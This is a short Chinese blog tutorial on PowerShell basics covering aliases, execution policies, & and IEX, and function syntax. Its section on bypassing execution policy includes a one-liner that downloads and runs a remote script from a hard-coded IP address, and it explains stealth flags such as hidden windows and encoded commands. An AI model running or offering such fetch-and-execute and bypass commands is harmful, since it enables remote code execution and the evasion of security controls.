博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

powershell基础知识

基本命令

我们先从最基本的命令入手,Windows Powershell命令中get类命令是很庞大的一个命令工具集合,而且get类命令也是Powershell中占比最大的。

1、Get-Alias

Get-Alias命令的功能是查看当前运行会话的别名;

打开powershell,输入get-al,tab键补全,回车

 

 

我们也可以查询指定命令的别名,如:

Get-Alias -name dir

2、Get-ExecutionPolicy(查看当前执行策)

powershell中输入Get-ExecutionPolicy

 

 

可以看见当前的执行策是受限制的,所以是不能够执行psl脚本的

我们试着运行一下psl脚本

通过重定向先生成一个MyScript.ps1

'"Hello,Powershell Script"' > MyScript.ps1

然后运行

 

 

Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。

只有管理员才有权限更改这个策略。非管理员会报错。

查看脚本执行策略,可以通过:

 

更改脚本执行策略,可以通过:

Set-ExecutionPolicy Unrestricted

 

脚本执行策略类型为:Microsoft.PowerShell.ExecutionPolicy
查看所有支持的执行策略:

[System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])

 

Unrestricted:权限最高,可以不受限制执行任何脚本。

Default:为Powershell默认的策略:Restricted,不允许任何脚本执行。

AllSigned:所有脚本都必须经过签名才能在运行。

RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。

Bypass:Bypass执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。

Undefined:Undefined表示没有设置脚本策略,当然此时发生会继承或应用默认的脚本策略。

当设置好执行策略后就可运行powershell脚本

 

如何绕过执行策略:

1.本地读取然后通过管道符运行

powershell Get-Content 1.ps1 | powershell -NoProfile -


2.远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"

 


3.Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./a.ps1

 


不会显示警告和提示

4.Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./a.ps1

当运行一个从网上下载的未签名的脚本时,会给出权限提示

需要解释的是:
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

3、&和IEX()

&:在字符串前加上&,可以把字符串当成命令执行在字符串前加上&,可以把字符串当成命令执行。

 

 

相同的命令还有IEX(Invoke-Expression),也是将字符串当作powershell执行

 

 

4、Get-FileHash(获取文件hash)

powershell定义函数方式:

 

 

function FuncName(args[])
{
code;
}

 

编辑器:

win10自带的ISE就挺不错,自动补全功能也很好。

 

posted @ 2021-02-21 16:37  My_Dreams  阅读(1167)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();